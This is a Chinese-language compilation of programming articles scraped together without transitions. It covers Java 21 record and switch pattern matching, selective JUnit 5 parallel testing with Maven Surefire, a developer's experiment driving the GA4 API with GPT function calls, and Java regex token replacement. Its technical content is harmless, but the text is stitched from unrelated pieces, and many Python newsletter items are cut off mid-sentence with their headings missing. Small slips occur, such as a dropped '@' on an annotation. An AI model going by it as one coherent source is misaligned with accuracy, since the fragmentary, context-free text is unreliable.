不过,这里虽然测试和转换代码得到了简化,但是从记录类中提取值仍然不是很方便,我们还可以进一步简化这段代码:
if (obj instanceof Point(int x, int y)) {
System.out.println(x + y);
}
这里的 Point(int x, int y)
就是 Java 21 中的 记录模式(Record Patterns),可以说它是 instanceof
模式匹配的一个特例,专门用于从记录类中提取数据;记录模式也经过了三个版本的迭代:JEP 405、JEP 432 和 JEP 440,现在终于在 Java 21 中发布了正式版本。
此外,记录模式还支持嵌套,我们可以在记录模式中嵌套另一个模式,假设有下面两个记录类:
record Address(String province, String city) {}
record Person(String name, Integer age, Address address) {}
我们可以一次性提取出外部记录和内部记录的值:
if (obj instanceof Person(String name, Integer age, Address(String province, String city))) {
System.out.println("Name: " + name);
System.out.println("Age: " + age);
System.out.println("Address: " + province + " " + city);
}
仔细体会上面的代码,是不是非常优雅?
switch
模式匹配上面学习了 instanceof
模式匹配,其实还有另一种模式匹配叫做 switch
模式匹配,这个特性经历了 JEP 406、JEP 420、JEP 427、JEP 433 和 JEP 441 五个版本的迭代,从 Java 17 开始首个预览版本到 Java 21 正式发布足足开发了 2 年时间。
在介绍这个功能之前,有一个前置知识点需要复习一下:在 Java 14 中发布了一个特性叫做 Switch Expressions,这个特性允许我们在 case
中使用 Lambda 表达式来简化 switch
语句的写法:
int result = switch (type) {
case "child" -> 0;
case "adult" -> 1;
default -> -1;
};
System.out.println(result);
这种写法不仅省去了繁琐的 break
关键词,而且 switch
作为表达式可以直接赋值给一个变量。switch
模式匹配 则更进一步,允许我们在 case
语句中进行类型的测试和转换,下面是 switch
模式匹配的一个示例:
String formatted = switch (obj) {
case Integer i -> String.format("int %d", i);
case Long l -> String.format("long %d", l);
case Double d -> String.format("double %f", d);
case String s -> String.format("string %s", s);
default -> "unknown";
};
System.out.println(formatted);
作为对比,如果不使用 switch
模式匹配,我们只能写出下面这样的面条式代码:
String formatted;
if (obj instanceof Integer i) {
formatted = String.format("int %d", i);
} else if (obj instanceof Long l) {
formatted = String.format("long %d", l);
} else if (obj instanceof Double d) {
formatted = String.format("double %f", d);
} else if (obj instanceof String s) {
formatted = String.format("string %s", s);
} else {
formatted = "unknown";
}
System.out.println(formatted);
按顺序运行测试似乎是Java社区的现状,尽管现在我们的计算机有很多CPU内核。另一方面,并行执行所有这些项目在纸面上可能看起来很棒,但说起来往往容易做起来难,尤其是在已经存在的项目中。
在5.3版本中,JUnit框架引入了对并行测试执行的实验支持,这可以允许由代码驱动的选择性测试并行化。我想提出一个实用的解决方案,它应该适用于许多类型的项目,而不是对该功能进行详尽的概述(官方用户指南在这里做得很好:https://junit.org/junit5/docs/current/user-guide/#writing-tests-parallel-execution)。您可以将其视为测试并行化的一个唾手可得的成果。
拟议的方法包括三个步骤:
2. 创建自定义的@ParallelizableTest
注释,以促进类级并行化(其中的所有测试方法都将并行执行)。
3. 从单元测试开始为所选测试启用并行执行(安全默认设置)。
GitHub上提供了完整的配置(以及一些示例测试用例):https://github.com/mikemybytes/junit5-parallel-tests
首先,让我们通过创建具有以下内容的junit-platform.properties
文件(位于src/test/resources
下)来启用JUnit并行执行:
junit.jupiter.execution.parallel.enabled = true
junit.jupiter.execution.parallel.mode.default = same_thread
junit.jupiter.execution.parallel.mode.classes.default = same_thread
除了启用特性本身,它还指定:测试类及其测试方法都应按顺序执行。默认情况下,这会保留以前的行为,即测试由同一线程逐个执行。
或者,我们可以通过pom.xml
中的Maven Surefire指定JUnit配置:
<build>
<plugins>
<plugin>
<artifactId>maven-surefire-plugin</artifactId>
<version>3.0.0-M5</version>
<configuration>
<properties>
<configurationParameters>
junit.jupiter.execution.parallel.enabled = true
junit.jupiter.execution.parallel.mode.default = same_thread
junit.jupiter.execution.parallel.mode.classes.default = same_thread
</configurationParameters>
</properties>
</configuration>
</plugin>
</plugins>
</build>
事实上,我建议将这两种方法结合起来,在junit-platform.properties
中保留完整的配置,但允许通过专用的系统属性启用/禁用并行测试执行:
<project>
<properties>
<parallelTests>true</parallelTests>
</properties>
<build>
<plugins>
<plugin>
<artifactId>maven-surefire-plugin</artifactId>
<version>3.0.0-M5</version>
<configuration>
<properties>
<configurationParameters>
junit.jupiter.execution.parallel.enabled = ${parallelTests}
</configurationParameters>
</properties>
</configuration>
</plugin>
</plugins>
</build>
</project>
这样,默认情况下,所选测试将并行运行,但它们仍然可以按需顺序运行,mvn clean verify -DparallelTests=false
。
注意:有了所有高级/非标准的JUnit5功能,Surefire版本值得切换到3.x分支,因为那里引入了各种兼容性改进。
通过使用Junit 5@Execution
(https://junit.org/junit5/docs/current/api/org.junit.jupiter.api/org/junit/jupiter/api/parallel/Execution.html)注释测试类或测试方法,我们可以控制其并行执行。让我们来看看这个小例子:
Execution(ExecutionMode.CONCURRENT) // note: propagates downstream!
class MyParallelTest { // runs in parallel with other test classes
@Test
@Execution(ExecutionMode.CONCURRENT)
void shouldVerifySomethingImportant() {
// runs in parallel with other test cases
// (would behave the same without the annotation - inherited)
}
@Test
@Execution(ExecutionMode.SAME_THREAD)
void shouldVerifySomethingImportantSequentially() {
// runs in the same thread as its parent (override)
}
// ...
}
这种在类级别应用的注释将对其内部的所有未注释的测试用例产生影响。因此,一旦我们在测试类级别上启用了并发执行,它的所有测试用例也将并行执行。这意味着,当测试用例彼此完全独立时,应该使用这样的技术。
幸运的是,JUnit 5已经为我们改进了测试用例之间的分离:
为了允许单独的测试方法被隔离执行,并避免由于可变的测试实例状态而产生意外的副作用,JUnit在执行每个测试方法之前为每个测试类创建一个新的实例
这意味着,即使我们有一些共享的非静态字段(例如mock),每个测试用例也会得到自己的实例。这使得在测试类级别上启用并发执行对于大多数用例来说足够安全。
为了促进这样的类级并行化,我们可以创建自己的@ParallelizableTest注释,该注释(与JUnit注释不同)不能用于测试用例(方法)级:
@Execution(ExecutionMode.CONCURRENT) // <- the original JUnit annotation
@TestInstance(TestInstance.Lifecycle.PER_METHOD)
// ^ makes the default "safe behavior" explicit
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.TYPE) // class-level only
public @interface ParallelizableTest {
}
由于junit-platform.properties
的默认顺序设置,现在只有用@ParallelizableTest
注释的测试类可以并行运行。这使我们能够轻松地进行逐个测试的选择。
@ParallelizableTest
class MyParallelTest { // runs in parallel with other test classes
// ...
}
在内部有大量测试代码的现有项目中,可以使用这种技术随着时间的推移迭代地增加并行测试的数量。
与依赖内置注释相比,所提出的方法具有两个优点。首先,它防止我们过于频繁地使用它们——例如,在没有充分理由的情况下混合类和测试用例级别的声明。其次,它显式地启用了“每个方法单独的实例”语义,因此我们不再依赖于可重写的默认值。
最后,有了所有可用的机制,我们必须决定首先并行化什么。答案可以在一个古老的测试金字塔中找到。
单元测试是最容易首先并行化的测试,这并不奇怪。通常,唯一需要做的事情就是用@ParallelizableTest
对它们进行注释,因为其他操作应该仍然有效。尽管在减少总执行时间方面是最不有利的,但低工作量使并行化几乎是免费的。事实上,这样做强调了它们与其他测试的内在隔离。
注意:关于“单元测试”的真正含义,似乎有很多争议。为了避免混淆,我引用Vladimir Khorikov的《单元测试:原理、实践和模式》一书中的定义:
单元测试验证单个行为单元,快速执行,并与其他测试隔离执行。
作为下一步,您可能需要选择其他测试类并将它们并行化。虽然这些可能会显著减少执行时间,但所需的工作量也可能会增加。例如,重新使用相同的DB实例可能需要在所有并行测试中进行适当的数据随机化,以防止交叉干扰。在某些用例中,Junit 5更复杂的同步选项也会有所帮助(https://junit.org/junit5/docs/snapshot/user-guide/#writing-tests-parallel-execution-synchronization)。
特别是对于一些非琐碎的测试,由于引入的复杂性,并行化的成本甚至可能超过利润。这就是为什么我认为选择性测试并行化如此有益。
为了本文的目的,我创建了一个由6个测试类组成的小示例项目(https://github.com/mikemybytes/junit5-parallel-tests),每个测试类有3个测试用例(分别命名为A
、B
和C
)。其中一半可以使用上述配置并行运行。每个测试用例都在开始和结束时打印其线程名称、类和用例名称。运行mvn-clean-verify
(并通过配置将并行度限制为6个线程:https://junit.org/junit5/docs/current/user-guide/#writing-tests-parallel-execution-config)似乎证明了所提出的设置的正确性:
[INFO] -------------------------------------------------------
[INFO] T E S T S
[INFO] -------------------------------------------------------
[INFO] Running com.mikemybytes.junit.parallel.Parallel1Test
[INFO] Running com.mikemybytes.junit.parallel.Parallel2Test
[INFO] Running com.mikemybytes.junit.parallel.Parallel3Test
[INFO] Running com.mikemybytes.junit.sequential.Sequential3Test
[ForkJoinPool-1-worker-5] START: Parallel3Test#A
[ForkJoinPool-1-worker-6] START: Parallel3Test#B
[ForkJoinPool-1-worker-4] START: Parallel3Test#C
[ForkJoinPool-1-worker-3] START: Parallel2Test#C
[ForkJoinPool-1-worker-1] START: Sequential3Test#A
[ForkJoinPool-1-worker-2] START: Parallel1Test#C
[ForkJoinPool-1-worker-6] END: Parallel3Test#B
[ForkJoinPool-1-worker-6] START: Parallel2Test#A
[ForkJoinPool-1-worker-3] END: Parallel2Test#C
[ForkJoinPool-1-worker-4] END: Parallel3Test#C
[ForkJoinPool-1-worker-3] START: Parallel2Test#B
[ForkJoinPool-1-worker-7] START: Parallel1Test#A
[ForkJoinPool-1-worker-5] END: Parallel3Test#A
[ForkJoinPool-1-worker-1] END: Sequential3Test#A
[ForkJoinPool-1-worker-2] END: Parallel1Test#C
[ForkJoinPool-1-worker-1] START: Sequential3Test#B
[ForkJoinPool-1-worker-5] START: Parallel1Test#B
[INFO] Tests run: 6, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 0.784 s - in com.mikemybytes.junit.parallel.Parallel3Test
[ForkJoinPool-1-worker-6] END: Parallel2Test#A
[ForkJoinPool-1-worker-1] END: Sequential3Test#B
[ForkJoinPool-1-worker-1] START: Sequential3Test#C
[ForkJoinPool-1-worker-3] END: Parallel2Test#B
[ForkJoinPool-1-worker-7] END: Parallel1Test#A
[INFO] Tests run: 4, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 1.284 s - in com.mikemybytes.junit.parallel.Parallel2Test
[ForkJoinPool-1-worker-5] END: Parallel1Test#B
[INFO] Tests run: 1, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 1.289 s - in com.mikemybytes.junit.parallel.Parallel1Test
[ForkJoinPool-1-worker-1] END: Sequential3Test#C
[INFO] Tests run: 1, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 1.547 s - in com.mikemybytes.junit.sequential.Sequential3Test
[INFO] Running com.mikemybytes.junit.sequential.Sequential2Test
[ForkJoinPool-1-worker-1] START: Sequential2Test#A
[ForkJoinPool-1-worker-1] END: Sequential2Test#A
[ForkJoinPool-1-worker-1] START: Sequential2Test#B
[ForkJoinPool-1-worker-1] END: Sequential2Test#B
[ForkJoinPool-1-worker-1] START: Sequential2Test#C
[ForkJoinPool-1-worker-1] END: Sequential2Test#C
[INFO] Tests run: 3, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 1.775 s - in com.mikemybytes.junit.sequential.Sequential2Test
[INFO] Running com.mikemybytes.junit.sequential.Sequential1Test
[ForkJoinPool-1-worker-1] START: Sequential1Test#A
[ForkJoinPool-1-worker-1] END: Sequential1Test#A
[ForkJoinPool-1-worker-1] START: Sequential1Test#B
[ForkJoinPool-1-worker-1] END: Sequential1Test#B
[ForkJoinPool-1-worker-1] START: Sequential1Test#C
[ForkJoinPool-1-worker-1] END: Sequential1Test#C
[INFO] Tests run: 3, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 2.024 s - in com.mikemybytes.junit.sequential.Sequential1Test
[INFO]
[INFO] Results:
[INFO]
[INFO] Tests run: 18, Failures: 0, Errors: 0, Skipped: 0
标记为可并行的测试彼此并行运行(正如预期的那样),但也与顺序测试并行运行。这一开始可能看起来有点可疑。然而,由于我们的可并行测试声称独立于其他测试,所以它们应该不会对逐个运行的测试造成损害。此外,所有的顺序测试都在同一个线程上执行(ForkJoinPool-1-worker-1
)。
在撰写本文时,所提出的方法的主要局限性与为测试执行生成的Maven Surefire插件报告的准确性有关。在示例项目中,有3个测试类并行执行,每个测试类有3个用例。这意味着我们预计总共会报告9项测试。然而,target/surefire
报告中提供的报告似乎表明了一些不同的情况。
-------------------------------------------------------------------------------
Test set: com.mikemybytes.junit.parallel.Parallel1Test
-------------------------------------------------------------------------------
Tests run: 1, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 1.289 s - in com.mikemybytes.junit.parallel.Parallel1Test
-------------------------------------------------------------------------------
Test set: com.mikemybytes.junit.parallel.Parallel2Test
-------------------------------------------------------------------------------
Tests run: 4, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 1.284 s - in com.mikemybytes.junit.parallel.Parallel2Test
-------------------------------------------------------------------------------
Test set: com.mikemybytes.junit.parallel.Parallel3Test
-------------------------------------------------------------------------------
Tests run: 6, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 0.784 s - in com.mikemybytes.junit.parallel.Parallel3Test
这是一个已知的Surefire限制(请参阅Surefire-1643:https://issues.apache.org/jira/browse/SUREFIRE-1643和Surefire-1795:https://issues.apache.org/jira/browse/SUREFIRE-1795),与JUnit 5无关——报告部分仅支持一系列测试事件。
这就是为什么如前所述允许按需顺序执行如此重要的原因。如果出现任何问题(或者某个工具依赖于生成的报告),我们仍然可以使用-DparallelTests=false
逐个运行测试。
JUnit5中引入的并行测试执行是一个简单但强大的工具,可以更好地利用我们的硬件资源,缩短反馈循环。只并行运行选定的测试可以让我们完全控制测试执行和“速度与工作量”的权衡。正因为如此,我们可以逐渐提高测试的并行性,而不是一次更改所有内容。尽管有一些限制,但并行测试执行已经是我们开发工具箱中的一个有用的补充。
原文链接:https://mikemybytes.com/2021/11/24/pragmatic-test-parallelization-with-junit5/
@dataclass
装饰器来定义数据类,它会自动添加 __init__
、__repr__
、__eq__
等魔术方法,减少代码量。作者建议定义不可变的数据类,不用将它像普通类一样作变更属性的操作,如果在普通类中要用__repr__
等方法,建议是手写实现。自从几个月前我开始用 AI 改造热量记录工具,发现效果不错之后,我就开始琢磨用 AI 干点更复杂的事情,想必很多人都和我一样,对于网络上铺天盖地的AI毁灭世界论,以及实际上看到最多的例子就是用AI来生成色图和软文的现状,感到有点不满。
在这篇文章,我会讲述一个实际例子,一个试图让 AI 能力和复杂逻辑相结合,成为一个更好用的工具的例子,在这个过程中,我也发现了在面对多维复杂性时——输入的复杂和处理的复杂,即便是最顶尖的 AI 模型也难以解决的问题。
我是一个Google Analytics( Google 统计)的用户,Google统计,也被称之为 GA,应该是最老牌的网站统计服务之一,网站统计服务,某种意义上,是任何网站和 app 都必须使用的服务,你只需要在代码中植入一小段,然后就能直观的看到你的网站有多少人来过,他们看了些什么,他们从哪里来等等。
去年,Google 统计进行了改版,升级为了 GA4,这项升级前卫但复杂,很多老用户对新版 Google 统计感到茫然,因为熟悉的东西都没了,想看一些针对性的数据,需要自己创建报告,这又是一个极其复杂的页面:
搭配 GA4,Google 也一起发布了新的 API,调用这些 API,可以从GA 获得任何你想要的数据。因此,当我看到 openai 发布 functions 功能后,我开始意识到,我也许能用AI来改造 GA,让它更人性化一点。
我的构想非常简单,用户输入希望看到的数据,交由 gpt functions 转化为需要调用的API,然后再去 GA调用API,然后将获得的数据进行渲染。
但当我真正开始了解 gpt functions 的时候,我发现这里还差得远。
首先 gpt functions 支持的参数类型非常有限,主要是枚举和字符串,但是当我需要以数组类型传递参数,并且数组包含的值是枚举中的不确定的几个的时候,functions 就完全没办法实现。
然而让我懵逼的不是这个,而是即便我按照文档,在输入中确定了枚举的值,gpt 依然会有幻觉,捏造出一个不在枚举中的字符串。这种情况的 GPT 有点类似于下面的领导。
解决这两个问题花费了我大量时间,事实是我其实没办法「解决」,而只是「绕过」了这些问题,我根据 Google 文档,手写了大量规则来修正模型输出的错误。
在这些工作完成后,我终于可以做出一个 demo,它具备这样的能力:你直接描述你想要看到什么数据,然后就能看到,例如:
这个原型产品其实花费了我大量的精力,因为我需要把 Google的 API 全部捋一遍,在这个过程中,我发现了我面对的这些 API 的复杂之处。
GA 的核心 API,叫做 runReport,核心参数主要有两个,一个是维度(dimension),一个是指标(metric),例如,把城市设定为纬度,总用户设定为指标,那么就能获取每个城市的用户:
GA 支持相当多的纬度和相当多的指标(大几十种)
将这些指标和纬度告诉 gpt,并让其选择合适的,似乎行得通,但马上我们会遇到更复杂一些的情况。
GA 的接口,支持你传入多个纬度和多个指标,这让获得的数据变成了多维的,例如,维度设定为「城市」和「日期」,指标依然是「总用户」,那么 GA 会将每个城市和每天的总用户都输出,当我需要知道北京11月21日有多少用户访问时,合理的设置多个纬度就可以达到这个目的。
但这只是第一层的复杂度,即多维度,多指标。
GA 同时支持一个叫做「筛选」的参数,这个筛选参数非常复杂,也非常强大,它支持纬度的筛选和指标的筛选,并且每个筛选都支持多种控制逻辑:和/与/非
而在和/与/非逻辑之中,还可以设定匹配类型和匹配逻辑,甚至可以写正则。
同样在上面的例子中,如果我想知道「北京11月21日有多少用户访问」,除了设定多个纬度之外,更简单的办法则是设置单一维度「日期」,但是将筛选项设定为「城市包含北京」
这是第二层复杂度,即筛选逻辑的控制。
然而,GA 还有一个接口,即 batchRunReports,同时获取多个数据报告,每个报告都包含独立的纬度,指标和筛选,并汇总给你,在面对相当复杂的需求时,往往需要汇总多个报告的数据才能达到目的,而这是第三层复杂度。
在梳理 API 的同时,我也在对 GPT 能力进行实验,我发现即便还不涉及到第一种复杂度,gpt functions已经错误频出,而当我要求其设置多个纬度和参数时,给出的结果更是糟糕——我用的是GPT4,这应该是目前最智慧的大模型。
GPT 似乎只能处理最简单的情况,例如「过去一周的活跃用户」或「最受欢迎的页面有哪些」,这些情况仅下,需要一个纬度和一个指标就能获得合适的数据,但如果我的需求描述的再复杂一点,例如「来自北京的用户最喜欢浏览什么页面」,那么极大概率 GPT 就无法给出正确的参数。
讲道理,如果因为上面的问题,认为 GPT 很愚蠢,那就很愚蠢了,因为我给 GPT 的任务,其实是复杂的数据分析任务,这里面需要:
1.判断用户的问题和需求
2.筛选可能适合的字段和接口使用方式
3.合理的使用这些字段,得到精确的调用参数
这些需求并不简单,能够从 GA 中手动获取到「来自北京的用户最喜欢浏览什么页面」,并且进一步给出一些建议和结论的人,理论上已经可以胜任初级的数据分析师了,拿几千块钱一个月应该问题不大。
事实上,确实可以通过一些办法来提高效果,例如,用 agent 思维,将一个查询拆分成多个数据获取任务,然后每个任务都通过GPT 函数给出接口运行的参数,然后再进行汇总。
但这个过程过于复杂,而且很难进行完全的工程化,还会造成成本直接提高数倍,所以目前还很难运用到项目上。
另一种方案是将 gpt 进行微调,喂入 GA API 文档的相关数据,理论上这应该可以让模型对接口更熟悉,也会更容易给出合理的参数,但是这一步成本则更加高昂,并且 GPT4 还没有微调的接口开放,所以我没有测试。
正因为如此,这个项目我撸了一周之后,发现它变得有点鸡肋:它确实实现了将口语表达的查询,转化成直接的数据图表和结论,但当你的需求比较复杂的时候,它则会失效,而后者,才是我开始希望做这个产品的原因。
目前这个产品我已经发布到线上了,虽然我设置了付费计划,但我不认为真的会有人愿意为之付费,因为就目前的能力来说,它能获取的数据只有最浅表的一层,能够给出的结论和分析也浮于表面,如果你感兴趣,可以直接去试试看(GACopilot)。
但另一方面,我毫不怀疑,随着模型能力的提高,或者一些新的模型工具和使用思维的诞生,这一工具可以变得更有用,我也确信,当下的这些问题并非能够通过 prompt 工程来解决,也正因为如此,这才是一个更有价值的 AI 能力的应用方向。
这是我的一点探索,大模型事实上已经进入我们的日常生活了,但我认为还只是一个非常早期的开始,与我们息息相关的越来越多的东西都会融入大模型的能力,但很明显,离 AGI 或者能毁灭人类,还有相当遥远的时间。
# -*- coding: utf-8 -*-
、range(len(xx))
、追踪循环的位置、用 index() 判断是否包含、单独的 getter 和 setter。其中第一个关于编码的确实很常见,它也让我想起另一个经常被无意识使用的if __name__ == '__main__'
。(附:为什么我不推荐写所谓的 main 函数?)if TYPE_CHECKING
的作用是为了实现条件式导入模块,基本示例如下:from typing import TYPE_CHECKING
if TYPE_CHECKING:
from collections.abc import Sequence
def func(value: Sequence[int]) -> None:
pass
__init__.py
是 Python 中特有的一个文件,为什么会需要用到这样的文件呢?它的作用是什么?如何自定义这个文件,又有哪些使用技巧和最佳实践呢?推荐阅读这篇很详细的教程。http.HTTPStatus
,另外从 Python 3.12 开始,还可以用HTTPStatus.is_success
表示 2xx 状态码。(附:本文出自作者日更的“降临节日历”系列文章,多是些编程小技巧,去博客阅读)ZendVM
和 CPython VM
,直接在进程堆栈空间内使用 C
函数互相调用。目前不支持 Python 多线程和异步 IO 特性。当我们需要在Java中查找或替换字符串中的值时,我们通常使用正则表达式。这使我们能够确定字符串的部分或全部是否与模式匹配。使用Matcher
和string中的replaceAll
方法,我们可以很容易地将相同的替换应用于字符串中的多个标记。
在本文中,我们将探讨如何为字符串中的每个token标记应用不同的替换。
我们还将研究一些调整正则表达式以正确识别标记的技巧。
在我们能够构建标记替换算法之前,我们需要了解围绕正则表达式的Java API。让我们使用捕获组和非捕获组来解决一个棘手的匹配问题。
让我们想象一下,我们想要构建一个算法来处理字符串中的所有标题词。这些单词以一个大写字符开头,然后以小写字符结束或继续。
我们的输入可能是:
"First 3 Capital Words! then 10 TLAs, I Found"
从标题词的定义来看,它包含以下匹配项:
识别这种模式的正则表达式是:
"(?<=^|[^A-Za-z])([A-Z][a-z]*)(?=[^A-Za-z]|$)"
为了理解这一点,让我们将其分解为其组成部分。我们将从中间开始:
[A-Z]
将识别单个大写字母。
我们允许使用单个字符的单词或后面跟着小写字母的单词,因此:
[a-z]*
识别零个或多个小写字母。
在某些情况下,以上两个字符类足以识别我们的令牌。不幸的是,在我们的示例中,有一个单词以多个大写字母开头。因此,我们需要表达的是,我们发现的单个大写字母必须是第一个出现在非字母之后的字母。
同样,当我们允许单个大写字母单词时,我们需要表示我们找到的单个大写字母不能是多个大写字母单词中的第一个。
表达式[^A-Za-z]
的意思是“没有字母”。我们将其中一个放在非捕获组中表达式的开头:
(?<=^|[^A-Za-z])
以(?<=
开头的非捕获组会向后看,以确保匹配项出现在正确的边界上。其末尾的对应组会对后面的字符执行相同的操作。
但是,如果单词接触到了字符串的开头或结尾,那么我们需要考虑到这一点,这就是我们在第一组中添加^|
的地方,使其表示“字符串或任何非字母字符的开头”,并且我们在最后一个非捕获组的结尾添加了|$
,使字符串的结尾成为边界。
当我们使用find
时,在非捕获组中找到的字符不会出现在匹配中。
我们应该注意,即使是像这样的简单用例也可能有许多边缘用例,因此测试我们的正则表达式是很重要的。为此,我们可以编写单元测试,使用IDE的内置工具,或者使用Regexr等在线工具。
使用名为EXAMPLE_INPUT
的常量中的示例文本和名为TITLE_CASE_PATTERN
的模式中的正则表达式,让我们在Matcher
类中使用find
来提取单元测试中的所有匹配项:
Matcher matcher = TITLE_CASE_PATTERN.matcher(EXAMPLE_INPUT);
List<String> matches = new ArrayList<>();
while (matcher.find()) {
matches.add(matcher.group(1));
}
assertThat(matches)
.containsExactly("First", "Capital", "Words", "I", "Found");
这里我们使用Pattern
上的matcher
函数来生成matcher
。然后,我们在循环中使用find
方法,直到它停止返回true
以迭代所有匹配项。
每次find
返回true
时,Matcher
对象的状态都设置为表示当前匹配。我们可以使用group(0)
检查整个匹配,也可以使用基于1的索引检查特定的捕获group。在本例中,我们需要的工件周围有一个捕获group
,因此我们使用group(1)
将匹配项添加到列表中。
到目前为止,我们已经找到了想要处理的单词。
但是,如果这些单词中的每一个都是我们想要替换的标记,那么我们需要有关于匹配的更多信息来构建结果字符串。让我们看看Matcher的其他一些属性,它们可能会对我们有所帮助:
while (matcher.find()) {
System.out.println("Match: " + matcher.group(0));
System.out.println("Start: " + matcher.start());
System.out.println("End: " + matcher.end());
}
此代码将显示每个匹配的位置。它还显示group(0)
匹配,即捕获的所有内容:
Match: First
Start: 0
End: 5
Match: Capital
Start: 8
End: 15
Match: Words
Start: 16
End: 21
Match: I
Start: 37
End: 38
... more
在这里,我们可以看到每个匹配只包含我们期望的单词。start
属性显示字符串中匹配项的从零开始的索引。结尾显示后面字符的索引。这意味着我们可以使用substring(start,end-start)
从原始字符串中提取每个匹配项。这基本上就是group
方法为我们所做的。
现在我们可以使用find
来迭代匹配,让我们来处理标记。
让我们继续我们的例子,使用我们的算法将原始字符串中的每个标题词替换为其对应的小写字母。这意味着我们的测试字符串将转换为:
"first 3 capital words! then 10 TLAs, i found"
Pattern
和Matcher
类不能这样做,所以我们需要构造一个算法。
以下是算法的伪代码:
我们应该注意,该算法的目的是找到所有不匹配的区域并将它们添加到输出中,以及添加处理过的匹配。
我们希望将每个单词转换为小写,因此我们可以编写一个简单的转换方法:
private static String convert(String token) {
return token.toLowerCase();
}
现在我们可以编写迭代匹配的算法。这可以使用StringBuilder
进行输出:
int lastIndex = 0;
StringBuilder output = new StringBuilder();
Matcher matcher = TITLE_CASE_PATTERN.matcher(original);
while (matcher.find()) {
output.append(original, lastIndex, matcher.start())
.append(convert(matcher.group(1)));
lastIndex = matcher.end();
}
if (lastIndex < original.length()) {
output.append(original, lastIndex, original.length());
}
return output.toString();
我们应该注意,StringBuilder
提供了一个方便的append
版本,可以提取子字符串。这与Matcher
的end
属性配合得很好,可以让我们提取自上次匹配以来的所有未匹配字符。
既然我们已经解决了替换某些特定标记的问题,为什么不将代码转换成一种可以用于一般情况的形式呢?不同实现之间唯一不同的是要使用的正则表达式,以及将每个匹配转换为替换的逻辑。
我们可以使用Java Function<Matcher,String>
对象来允许调用方提供处理每个匹配的逻辑。我们可以使用一个名为tokenPattern
的输入来查找所有的标记:
// same as before
while (matcher.find()) {
output.append(original, lastIndex, matcher.start())
.append(converter.apply(matcher));
// same as before
这里,正则表达式不再是硬编码的。相反,converter
函数由调用者提供,并应用于find
循环中的每个匹配。
让我们看看通用方法是否与原始方法一样有效:
assertThat(replaceTokens("First 3 Capital Words! then 10 TLAs, I Found",
TITLE_CASE_PATTERN,
match -> match.group(1).toLowerCase()))
.isEqualTo("first 3 capital words! then 10 TLAs, i found");
在这里,我们看到调用代码非常简单。转换函数易于用lambda
表示。测试通过。
现在我们有了一个标记替换器,所以让我们尝试一些其他用例。
假设我们想使用正则表达式转义字符\来手动引用正则表达式的每个字符,而不是使用quote方法。也许我们正在引用一个字符串作为创建一个正则表达式以传递给另一个库或服务的一部分,所以块引用表达式是不够的。
如果我们可以表示表示“正则表达式字符”的模式,那么使用我们的算法很容易将它们全部转义:
Pattern regexCharacters = Pattern.compile("[<(\\[{\\\\^\\-=$!|\\]})?*+.>]");
assertThat(replaceTokens("A regex character like [",
regexCharacters,
match -> "\\" + match.group()))
.isEqualTo("A regex character like \\[");
对于每个匹配项,我们都将\
字符作为前缀。由于\
是Java字符串中的一个特殊字符,因此它用另一个\
转义。
实际上,这个例子包含了额外的字符,因为regexCharacters
模式中的字符类必须引用许多特殊字符。这显示了正则表达式解析器,我们使用它们来表示它们的文本,而不是正则表达式语法。
表示占位符的常用方法是使用类似${name}
的语法。让我们考虑一个用例,其中模板“Hi${name}at${company}
”需要从名为placeholderValues
的映射中填充:
Map<String, String> placeholderValues = new HashMap<>();
placeholderValues.put("name", "Bill");
placeholderValues.put("company", "Baeldung");
我们只需要一个好的正则表达式来查找${…}
标记:
"\\$\\{(?<placeholder>[A-Za-z0-9-_]+)}"
是一种选择。它必须引用$
和初始大括号,否则它们将被视为正则表达式语法。
此模式的核心是占位符名称的捕获组。我们使用了一个允许字母数字、破折号和下划线的字符类,这应该适合大多数用例。
但是,为了使代码更具可读性,我们将此捕获组命名为占位符。让我们看看如何使用命名的捕获group:
assertThat(replaceTokens("Hi ${name} at ${company}",
"\\$\\{(?<placeholder>[A-Za-z0-9-_]+)}",
match -> placeholderValues.get(match.group("placeholder"))))
.isEqualTo("Hi Bill at Baeldung");
在这里,我们可以看到从匹配器中获取命名group的值只需要使用名称为输入的group,而不是数字。
在本文中,我们研究了如何使用强大的正则表达式在字符串中查找标记。我们学习了find
方法如何与Matcher
一起工作,以显示匹配项。
然后,我们创建并推广了一个算法,允许我们逐个标记进行替换。
最后,我们看了几个转义字符和填充模板的常见用例。
代码示例github地址:https://github.com/eugenp/tutorials/tree/master/core-java-modules/core-java-regex-2
原文地址:https://www.baeldung.com/java-regex-token-replacement
我还针对这 30 期内容做了一些总结分享,如果你感兴趣的话,可访问 这个地址 阅读。
datetime
的 C 扩展模块。文章出自《Python 之 C 语言 API 系列教程》的第一篇,该系列目前已更新两篇。test
模块演示了子解释器的示例。type
类型的对象)。文章探讨元类的基础知识,以及更高级的功能和示例。cProfile
中,但没有得到响应。最后,这个库还被拿来跟 Python 3.12 中引入的 perf
分析器作比对。struct
关键字,用于更方便地创建数据类,类似于 C、Rust 与 Go 的结构语法。文中介绍了他的目标以及这个关键字的实现原理,目前在收集意见阶段,未来不排除会提成一个 PEP。async
和 await
的设计十分糟糕,它与大多数库不兼容,也不满足“Python之禅”的一些标准。作者的推荐方案是 gevent,提及了它的几点好处。另外,作者还推荐了两篇相关的文章:Flask 作者 Armin Ronacher 的《I don’t understand Python’s Asyncio》,SQLAlchemy 作者 Mike Bayer 的《Asynchronous Python and Databases》@login_required
、@permission_required
、@csrf_exempt
、@cache_page
)。async/await/asyncio
来编写并发代码,还介绍了 Pyodide.Webloop 的实现,该实现允许 async/await 与浏览器事件循环一起使用。pytudes
项目!uvloop
后,创建及处理协程任务,能有多少提升?%%ai
指令、原生的聊天 UI 页面、支持大量平台的大语言模型(AI21、Anthropic、Cohere、Hugging Face、OpenAI、SageMaker 等)。perf
分析器。这篇文章介绍了什么是 Linux perf 分析器、perf 能给 Python 带来什么好处、如何在 Python 3.12 中使用 perf、如何分析性能数据、性能数据可视化……Read the Docs
